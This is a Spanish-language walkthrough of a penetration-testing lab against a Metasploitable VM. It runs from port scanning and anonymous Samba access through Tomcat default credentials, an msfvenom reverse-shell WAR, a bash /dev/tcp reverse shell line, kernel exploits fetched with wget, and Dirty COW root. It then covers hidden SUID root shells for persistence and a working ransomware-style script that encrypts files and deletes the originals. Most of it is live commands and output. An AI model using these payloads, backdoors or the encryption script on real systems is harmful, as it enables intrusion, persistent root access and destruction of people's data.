Samba

February 10, 2026

1 Estado de puertos actual

```
PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp   open     smtp        Postfix smtpd
53/tcp   open     domain      ISC BIND 9.4.2
80/tcp   open     http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  filtered rpcbind
139/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1099/tcp filtered rmiregistry
2049/tcp filtered nfs
2121/tcp open     ftp         ProFTPD 1.3.1
3306/tcp open     mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open     postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open     vnc         VNC (protocol 3.3)
6000/tcp open     X11         (access denied)
6667/tcp filtered irc
8009/tcp open     ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open     http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:EC:73:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host:  metasploitable.localdomain; OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kern
```

1.1 Nos centramos en SAMBA

Samba en Linux es un conjunto de herramientas de software libre que implementa los protocolos de red SMB/CIFS, permitiendo que sistemas tipo Unix/Linux compartan archivos e impresoras con entornos Windows de forma transparente. Actúa como puente, facilitando el intercambio de información entre redes mixta. 1. Establecemos conexión con ambos puertos mediantes nc:

```
    $ nc -vz 192.168.56.101 139
192.168.56.101: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.56.101] 139 (netbios-ssn) open

  (kali kali)-[~]
 $ nc -vz 192.168.56.101 445
192.168.56.101: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.56.101] 445 (microsoft-ds) open
```

2. Ambos puertos están abiertos y responden. Vamos a intentar enumeración pasiva y autorizada por el propio samba si está mal configurado (con -N para pasiva):

```
    $ smbclient -L //192.168.56.101 -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            METASPLOITABLE
```

3. Tenemos acceso al listado, y podemos entrar anónimamente tanto a disco como a admin. Probamos a entrar en tmp:

```
    $ smbclient //192.168.56.101/tmp -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Feb  4 12:02:45 2026
  ..                                 DR        0  Sun May 20 15:36:12 2012
  4552.jsvc_up                        R        0  Wed Feb  4 02:16:50 2026
  .ICE-unix                          DH        0  Wed Feb  4 02:15:11 2026
  orbit-msfadmin                     DR        0  Wed Feb  4 06:25:34 2026
  .X11-unix                          DH        0  Wed Feb  4 02:16:29 2026
  .X0-lock                           HR       11  Wed Feb  4 02:16:29 2026
  gconfd-msfadmin                    DR        0  Wed Feb  4 06:25:34 2026
  test                                R        0  Wed Feb  4 03:21:35 2026
```

4. Comprobamos permisos:

```
   smb: \> put /etc/hostname prueba.txt
putting file /etc/hostname as \prueba.txt (1.2 kB/s) (average 1.2 kB/s)
smb: \> get gconfd-msfadmin\
NT_STATUS_ACCESS_DENIED opening remote file \gconfd-msfadmin\
smb: \> get gconfd-msfadmin\*
NT_STATUS_OBJECT_NAME_INVALID opening remote file \gconfd-msfadmin\*
smb: \> get test
getting file \test of size 0 as test (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
```

```
smb: \> cd orbit-msfadmin\
smb: \orbit-msfadmin\> ls
NT_STATUS_ACCESS_DENIED listing \orbit-msfadmin\*
smb: \orbit-msfadmin\>
```

5. Tenemos permiso de escritura (en raiz del sistema)—-> Vector de ataque **Severidad alta** Podemos dejar perstitencia, backdoor, staging de malware, pivot.
6. Lectura anónima también—> No hay control en exfiltración del sistema desde /tmpl

1.2 Intentamos pivotar usando acceso a /tmp y Tomcat abierto (8180 y 8009)

Como tomcat suele escribir temporales y ejecutarse como root parece buen candidato. Vamos a probar desde kali si responde a curl:

```
 $ sudo curl http://192.168.56.101:8180/
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
COTENIDO HTML
```

Así que efectivamente hay superficie de ataque, está expuesto

Intentamos acceder a manager: Vemos que tiene protección por auth e intentamos usuarios con clave básicos (clásicamente mal protegidos):

```
  (kali kali)-[~]
 $ sudo curl http://192.168.56.101:8180/manager/html
<html><head><title>Apache Tomcat/5.5 - Error report</title><style><!--H1 {font-family:Tahoma,A
oshade"><h3>Apache Tomcat/5.5</h3></body></html>
```

AQUÍ EMPEZAMOS A PROBAR

```
  (kali kali)-[~]
 $ sudo curl -u admin:admin http://192.168.56.101:8180/manager/html
<html><head><title>Apache Tomcat/5.5 - Error report</title><style><!--H1 {font-family:Tahoma,A
  (kali kali)-[~]
 $ sudo curl -u manager:manager http://192.168.56.101:8180/manager/html
<html><head><title>Apache Tomcat/5.5 - Error report</title><style><!--H1 {font-family:Tahoma,A
```

No hemos tenido suerte. Probamos otra clásica tomcat:tomcat y….

```
  (kali kali)-[~]
 $ sudo curl -u tomcat:tomcat http://192.168.56.101:8180/manager/html
<html>
<head>
<style>
H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H
    width: 100%;
  }
  td.page-title {
    text-align: center;
    vertical-align: top;
    font-family:sans-serif,Tahoma,Arial;
    font-weight: bold;
    background: white;
    color: black;
  }
  td.title {
    text-align: left;
    vertical-align: top;
    font-family:sans-serif,Tahoma,Arial;
    font-style:italic;
    font-weight: bold;
    background: #D2A41C;
  }
 [...]
```

Tenemos credenciales!

2 Ataque

1. Vamos a usar msfvenom para lanzar un payload

```
 $ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f war -o shell.war
Payload size: 1106 bytes
Final size of war file: 1106 bytes
Saved as: shell.war
```

Ese comando crea un archivo malicioso (shell.war) que, si se despliega en un servidor Java (Tomcat, por ejemplo), hará que el servidor se conecte de vuelta a tu máquina y te dé una shell remota. Al hacer una shell_reverse el servidor se conecta a nosotros, en principio nos podríamos saltar las reglas de firewall "entrante" porque la salida suele estar permitida. Pondremos a escuchar el puerto 4444 de nuestra máquina para que la víctima se conecte a nosotros.
2. Dejamos el puerto escuchando (4444) en nuestra máquina:

```
  (kali kali)-[~]
 $ nc -lvnp 4444
listening on [any] 4444 ...
```

Está escuchando (-l) en el puerto (-p) 4444 modo verbose sin resolver dns (-n) 3. Nos conectamos (desde navegador) a `http://192.168.56.101:8180/manager/html` introduciendo usuario y clave "obtenidas" previamente tomcat:tomcat. Navegamos y vamos a la sección de deploy war, y subimos el shell.war, confirmación por parte del servidor. Confirmado en la lista de aplicaciones. Ejecutamos desde el navegador o con curl, vamos a la terminal que estaba escuchando y ya estamos conectados.

```
  (kali kali)-[~]
 $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 40609

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
tomcat55
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Buscamos como escalar, así que en la otra máquina buscamos exploits para esta versión:

```
searchsploit linux kernel 2.6.24-16 local
------------------------------------------------------------------------ ----------------------
 Exploit Title                                                          |  Path
------------------------------------------------------------------------ ----------------------
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalati | solaris/local/15962.
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privi | linux/local/9844.py
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Pri | linux/local/19933.rb
```

```
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)   | linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation    | linux/local/40812.c
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation  | linux/local/5092.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation       | linux/local/50135.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race C | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition P | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition  | linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Conditio | linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition ( | linux/local/40611.c
Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial o | linux/dos/31965.c
Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial o | linux/dos/31966.c
Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Conditi | linux_x86-64/local/33
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation              | linux/local/41886.c
Linux Kernel < 2.6.26.4 - SCTP Kernel Memory Disclosure                 | linux/local/7618.c
Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation    | linux/local/33523.c
Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation      | linux/local/8369.sh
Linux Kernel < 2.6.31-rc7 - 'AF_IRDA' 29-Byte Stack Disclosure (2)      | linux/local/9543.c
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privil | linux_x86/local/15916
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Pr | linux/local/15944.c
Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Pri | linux/local/14814.c
Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privi | linux_x86-64/local/15
Linux Kernel < 2.6.36-rc6 (RedHat / Ubuntu 10.04) - 'pktcdvd' Kernel Me | linux/local/15150.c
Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privile | linux/local/17787.c
Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escala | linux/local/15774.c
Linux Kernel < 3.16.1 - 'Remount FUSE' Local Privilege Escalation       | linux/local/34923.c
Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escal | linux_x86-64/local/44
Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Priv | linux_x86-64/local/34
Linux Kernel < 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalati | arm/local/31574.c
Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass  | linux_x86-64/local/44
Linux Kernel < 3.8.9 (x86-64) - 'perf_swevent_init' Local Privilege Esc | linux_x86-64/local/26
Linux Kernel < 3.8.x - open-time Capability 'file_ns_capable()' Local P | linux/local/25450.c
Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Se | linux/dos/42136.c
Linux kernel < 4.10.15 - Race Condition Privilege Escalation            | linux/local/43345.c
Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege  | linux/local/45553.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Esca | linux/local/45010.c
Linux Kernel < 4.14.rc3 - Local Denial of Service                       | linux/dos/42932.c
Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak                | linux/local/44325.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation  | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset'  | linux_x86-64/local/44
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privi | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 /  | linux/local/47169.c
---------------------------------------------------------------------- ----------------------
Shellcodes: No Results
```

Me interesa `bash Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation | linux/local/5092.c` Ya que se aplico en .24.1 y tenemos .24 solo así que nos serviría. Copio en kali este exploit:

```
searchsploit -m linux/local/5092.c
```

```
  Exploit: Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)
      URL: https://www.exploit-db.com/exploits/5092
     Path: /usr/share/exploitdb/exploits/linux/local/5092.c
    Codes: OSVDB-41853, CVE-2008-0600, OSVDB-41852, CVE-2008-0010, OSVDB-41423, CVE-2008-0009
 Verified: True
File Type: C source, ASCII text
Copied to: /home/kali/5092.c
```

Lo mando a la víctima (ya que estoy dentro) mediante servidor http desde donde está este exploit:

```
 $ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.56.101 - - [05/Feb/2026 07:07:56] "GET /5092.c HTTP/1.0" 200 -
VÍCTIMA
cd /tmp
ls
4552.jsvc_up
gconfd-msfadmin
orbit-msfadmin
prueba.txt
test
pwd
/tmp
wget http://192.168.56.102:8000/5092.c
ls
4552.jsvc_up
5092.c
gconfd-msfadmin
orbit-msfadmin
prueba.txt
test
KALI
^C
Keyboard interrupt received, exiting.
```

Ya está en la víctima. Compilamos con gcc pero el este exploit nos dá eror, no vale en esta víctima:

```
gcc 5092.c -o scalate
ls
4552.jsvc_up
5092.c
gconfd-msfadmin
orbit-msfadmin
prueba.txt
scalate
test
./scalate
---------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
```

```
----------------------------------
[-] mmap: Permission denied
```

Probamos otro entonces. Vamos probando hasta conseguir, estando atento a la arquitectura y versión del kernel. El proceso es idéntico. Encontramos un ganador parece, pero necesita el PID del udev así que se lo pasamos:

```
gcc 8572.c -o rt
ls
4552.jsvc_up
8572.c
a.out
gconfd-msfadmin
orbit-msfadmin
prueba.txt
rt
test
./rt
[-] Error: Pass the udevd netlink PID as an argument
```

Se lo pasamos, intentamos con cow pero tampoco. Para ello mejoramos la terminal a tty conbash

```
-i>&/dev/tcp/192.168.26.102/4444 0>&1
python -c 'import pty; pty.spawn("/bin/bash")'
```

para que parezca una terminal normal. Nos llevamos todo a una carpeta que tenga permisos de ejecucion, dentro de dev creamos una asi /dev/shm y ahí cargamos el exploit cow 40611.c. Compilamos, pero para ejecutar creamos un payload primero como sigue y ejecutamos así:

```
tomcat55@metasploitable:/dev/shm$ echo 'r00t::0:0:root:/root:/bin/bash' > payload
tomcat55@metasploitable:/dev/shm$ cat payload
cat payload
r00t::0:0:root:/root:/bin/bash

tomcat55@metasploitable:/dev/shm$ ./cow /etc/passwd payload
./cow /etc/passwd payload
mmap b7f3d000

madvise 0

procselfmem -100000000
```

Parece que el kernel descarta la escritura siempre por lo que cambiamos de táctica. No usamos exploit, vamos a **intentar escalar de otra manera**. Priemro

```
find / -perm -4000 -type f 2>/dev/null
```

Nota:
perm -4000
Qué es 4000
En Linux, los permisos se representan en octal.

4 :SUID
2 :SGID
1 Sticky bit
Entonces:
4000 = SUID activado
-perm -4000 → “que tenga al menos ese bit”
-type f
Limita la búsqueda a archivos normales
Evita:
directorios
sockets
dispositivos
Esto reduce ruido.
2>/dev/null
Redirige errores a la basura
Sin esto:

```
find: /root: Permission denied
find: /proc/xyz: Permission denied
```

Salida:

```
tomcat55@metasploitable:/dev/shm$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
```

```
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
```

at es un comando que sirve para programar tareas, por ejemplo

```
echo 'backup.sh' | at 03:00
```

ejecuta el script a las 03:00. Lo podemos usar para escalar, diciendole que nos abra una bash ahora, ya que hemos visto que se ejecuta con privilegios de root

```
echo '/bin/bash' | at now
```

Pero esto abre una bash en segundo plano, tenemos dos opciones: 1. Crear un bash en temp y luego acceder a el así:

```
 echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" | at now
/tmp/rootbash -p
whoami
```

el -p es para conservar privilegios. No funciona porque el propietario sigue siendo tomcat, lo hago de root primero, vamos a ver:

```
echo 'sh -c "cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod 4755 /tmp/ro
```

sh -c le dice al sistema:
"Ejecuta este texto como si lo hubiera escrito un usuario dentro de una shell nueva"
at → sh (root) → cp + chown + chmod (root) Tampoco, así que parece que at aunque tenga permisos SUID se ejecuta como el usuario que lo manda (como es normal): no me vale como vector. 2. NOOOO 3. # FUNCIONÓ COW!

```
get http://192.168.56.102:8000/40839.c
--16:53:12--  http://192.168.56.102:8000/40839.c
           => `40839.c'
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,814 (4.7K) [text/x-csrc]

100%[====================================>] 4,814         --.--K/s

16:53:12 (657.36 MB/s) - `40839.c 'saved [4814/4814]

tomcat55@metasploitable:/tmp$ gcc -pthread 40839.c -o cow -lcrypt
gcc -pthread 40839.c -o cow -lcrypt
40839.c:193:2: warning: no newline at end of file
tomcat55@metasploitable:/tmp$ ls
ls
40839.c       a.out  gconfd-msfadmin  p       payload     rootbash  vmsplice
4552.jsvc_up  cow    orbit-msfadmin   passwd  prueba.txt  test
```

```
tomcat55@metasploitable:/tmp$ ./cow /etc/passwd payload
./cow /etc/passwd payload
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: /etc/passwd
Complete line:
firefart:fiQQ3pwIdJD1.:0:0:pwned:/root:/bin/bash

mmap: b7fb6000
madvise 0

ls
ls
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '/etc/passwd'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '/etc/passwd'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

AQUÍ YA FUNCIONA CON USUARIO Y CONTRASEÑA INDICADO. INICIAMOS SESIÓN Y RESTAURAMOS EL PASSWD

omcat55@metasploitable:/tmp$ su firefart
su firefart
Password: /etc/passwd

firefart@metasploitable:/tmp# whoami
whoami
firefart
firefart@metasploitable:/tmp# id
id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@metasploitable:/tmp# mv /tmp/passwd.bak /etc/passwd
mv /tmp/passwd.bak /etc/passwd
firefart@metasploitable:/tmp#
```

MANTENGO ROOT SIN DIRTY COW

```
firefart@metasploitable:/# cp /bin/bash /tmp/rootbash
cp /bin/bash /tmp/rootbash
firefart@metasploitable:/# chown root:root /tmp/rootbash
chown root:root /tmp/rootbash
firefart@metasploitable:/# ls -la /tmp
ls -la /tmp
total 776
```

```
drwxrwxrwt  6 root     root       4096 2026-02-04 17:00 .
drwxr-xr-x 21 root     root       4096 2012-05-20 14:36 ..
-rw-r--r--  1 tomcat55 nogroup    4814 2026-02-06 06:03 40839.c
-rw-------  1 tomcat55 nogroup       0 2026-02-04 02:16 4552.jsvc_up
-rwxr-xr-x  1 tomcat55 nogroup    8634 2026-02-04 14:11 a.out
-rwxr-xr-x  1 tomcat55 nogroup   10939 2026-02-04 16:54 cow
drwx------  2 msfadmin msfadmin   4096 2026-02-04 06:25 gconfd-msfadmin
drwxrwxrwt  2 root     root       4096 2026-02-04 02:15 .ICE-unix
drwx------  2 msfadmin msfadmin   4096 2026-02-04 06:25 orbit-msfadmin
lrwxrwxrwx  1 tomcat55 nogroup      11 2026-02-04 16:17 p -> /etc/shadow
-rw-r--r--  1 tomcat55 nogroup    1612 2026-02-04 14:51 passwd
-rw-r--r--  1 tomcat55 nogroup      31 2026-02-04 16:53 payload
-rwxr--r--  1 nobody   nogroup       5 2026-02-04 12:05 prueba.txt
-rwxr-xr-x  1 root     root     701808 2026-02-04 17:02 rootbash
-rw-rw-r--  1 root     root          0 2026-02-04 03:21 test
-rwxr-xr-x  1 tomcat55 nogroup   10393 2026-02-04 15:09 vmsplice
-r--r--r--  1 root     root         11 2026-02-04 02:16 .X0-lock
drwxrwxrwt  2 root     root       4096 2026-02-04 02:16 .X11-unix
firefart@metasploitable:/# chmod 4755 /tmp/rootbash
chmod 4755 /tmp/rootbash
firefart@metasploitable:/# ls -la /tmp
ls -la /tmp
total 776
drwxrwxrwt  6 root     root       4096 2026-02-04 17:00 .
drwxr-xr-x 21 root     root       4096 2012-05-20 14:36 ..
-rw-r--r--  1 tomcat55 nogroup    4814 2026-02-06 06:03 40839.c
-rw-------  1 tomcat55 nogroup       0 2026-02-04 02:16 4552.jsvc_up
-rwxr-xr-x  1 tomcat55 nogroup    8634 2026-02-04 14:11 a.out
-rwxr-xr-x  1 tomcat55 nogroup   10939 2026-02-04 16:54 cow
drwx------  2 msfadmin msfadmin   4096 2026-02-04 06:25 gconfd-msfadmin
drwxrwxrwt  2 root     root       4096 2026-02-04 02:15 .ICE-unix
drwx------  2 msfadmin msfadmin   4096 2026-02-04 06:25 orbit-msfadmin
lrwxrwxrwx  1 tomcat55 nogroup      11 2026-02-04 16:17 p -> /etc/shadow
-rw-r--r--  1 tomcat55 nogroup    1612 2026-02-04 14:51 passwd
-rw-r--r--  1 tomcat55 nogroup      31 2026-02-04 16:53 payload
-rwxr--r--  1 nobody   nogroup       5 2026-02-04 12:05 prueba.txt
-rwsr-xr-x  1 root     root     701808 2026-02-04 17:02 rootbash
-rw-rw-r--  1 root     root          0 2026-02-04 03:21 test
-rwxr-xr-x  1 tomcat55 nogroup   10393 2026-02-04 15:09 vmsplice
-r--r--r--  1 root     root         11 2026-02-04 02:16 .X0-lock
drwxrwxrwt  2 root     root       4096 2026-02-04 02:16 .X11-unix
firefart@metasploitable:/# /tmp/rootbash -p
/tmp/rootbash -p
root@metasploitable:/# whoami
whoami
root
```

2.1 Persistencia

Copiamos el bashroot en una carpeta que no se borre, por ejemplo usr/local/bin y le volvemos a dar permisos:

```
cp tmp/rootbash /usr/local/bin/.rootbash
root@metasploitable:/# cd /usr/local/bin
cd /usr/local/bin
root@metasploitable:/usr/local/bin# ls
ls
root@metasploitable:/usr/local/bin# ls -la
ls -la
total 700
drwxr-xr-x  2 root root   4096 2026-02-04 17:04 .
drwxr-xr-x 10 root root   4096 2010-03-16 18:57 ..
-rwxr-xr-x  1 root root 701808 2026-02-04 17:04 .rootbash
root@metasploitable:/usr/local/bin# chown root:root .rootbash
chown root:root .rootbash
root@metasploitable:/usr/local/bin# ls -la
ls -la
total 700
drwxr-xr-x  2 root root   4096 2026-02-04 17:04 .
drwxr-xr-x 10 root root   4096 2010-03-16 18:57 ..
-rwxr-xr-x  1 root root 701808 2026-02-04 17:04 .rootbash
root@metasploitable:/usr/local/bin# chmod 4755 .rootbash
chmod 4755 .rootbash
root@metasploitable:/usr/local/bin# ls -la
ls -la
total 700
drwxr-xr-x  2 root root   4096 2026-02-04 17:04 .
drwxr-xr-x 10 root root   4096 2010-03-16 18:57 ..
-rwsr-xr-x  1 root root 701808 2026-02-04 17:04 .rootbash
```

Ya tiene la s con lo cual probamos, salimos de root y....

```
firefart@metasploitable:/usr# cd local
cd local
firefart@metasploitable:/usr/local# cd bin
cd bin
firefart@metasploitable:/usr/local/bin# ls
ls
firefart@metasploitable:/usr/local/bin# ls -a
ls -a
.  ..  .rootbash
firefart@metasploitable:/usr/local/bin# .rootbash -p
.rootbash -p
root@metasploitable:/usr/local/bin#
```

3 Simulamos ramsomware

Para encriptar archivos usamos este template:

```
#!/bin/bash
# --- RANSOMWARE SIMULADO (LABORATORIO) ---
# Compatible con OpenSSL antiguo (Metasploitable)

KEY="lab_password"
TARGET="/home/msfadmin/victim_data"

echo "[*] Starting controlled encryption simulation..."
echo "[*] Target: $TARGET"

find "$TARGET" -type f ! -name "*.enc" | while read file; do
    echo "[+] Encrypting $file"

    openssl enc -aes-256-cbc -e \
        -in "$file" \
        -out "$file.enc" \
        -k "$KEY" \
        -md md5

    if [ $? -eq 0 ]; then
        rm -f "$file"
    else
        echo "[-] Failed encrypting $file"
    fi
done

echo "[*] Simulation finished."
```

Para desencriptar, supuesta conocida clave

```
#!/bin/bash

KEY="lab_password"
TARGET="/home/msfadmin/victim_data"

find "$TARGET" -type f -name "*.enc" | while read file; do
    orig="${file%.enc}"

    echo "[+] Decrypting $file"

    openssl enc -aes-256-cbc -d \
        -in "$file" \
        -out "$orig" \
        -k "$KEY" \
        -md md5
```

```
    [ $? -eq 0 ] && rm -f "$file"
done
```

3.1 Descubrimiento, soy un root encubierto, no real

Al entrar por el backdoor patatero:

```
.rootbash-3.2#
id
uid=110(tomcat55) gid=65534(nogroup) euid=0(root) groups=65534(nogroup)
```

Luego realmente no soy root, sigo siendo tomcat55. No puedo ejecutar porque esta bloqueado, pero entonces lo que hago es pasarselo a bash que está corriendo, que se lo coma y lo ejecute él:

```
/bin/bash < /root/ransom_sim.sh
```

En /root hemos metido el ransom, aunque deberíamos haberlo mandado a tmp para borrarlo después, pero es por jugar. Aunque hemos dado chmod 4755 no puede ejecutarlo por seguir siendo tomcat. Lo ejecuta pero no tenemos permiso para la escritura o lectura de la carpeta objetivo. Voy a intentar escalar a root real con un wrapper clásico en c

```
// rootshell.c
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-i", NULL);
}
```

Como siempre me lo llevo a la carpeta tmp, compilo y lo transporto a la del escalado /usr/local/bin:

```
bash-3.2# wget http://192.168.56.102:8000/rootshell.c
wget http://192.168.56.102:8000/rootshell.c
--20:10:50--  http://192.168.56.102:8000/rootshell.c
           => 'rootshell.c'
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 124 [text/x-csrc]

100%[====================================>] 124           --.--K/s

20:10:50 (31.06 MB/s) - 'rootshell.c' saved [124/124]

bash-3.2# gcc rootshell.c -o rootshell
gcc rootshell.c -o rootshell
bash-3.2# mv rootshell /usr/local/bin
mv rootshell /usr/local/bin
bash-3.2# cd /usr/local/bin
cd /usr/local/bin
bash-3.2# ls
```

```
ls
rootshell
bash-3.2# chown root:root rootshell
chown root:root rootshell
bash-3.2# chmod 4755 rootshell
chmod 4755 rootshell
bash-3.2# ls -l
ls -l
total 8
-rwsr-xr-x 1 root root 6595 2026-02-04 20:10 rootshell
bash-3.2# ./rootshell
./rootshell
root@metasploitable:/usr/local/bin# id
id
uid=0(root) gid=0(root) groups=65534(nogroup)
root@metasploitable:/usr/local/bin#
```

Ya sí que somos root real, por lo que ejecutamos script sin problema y encriptamos.

[ ]: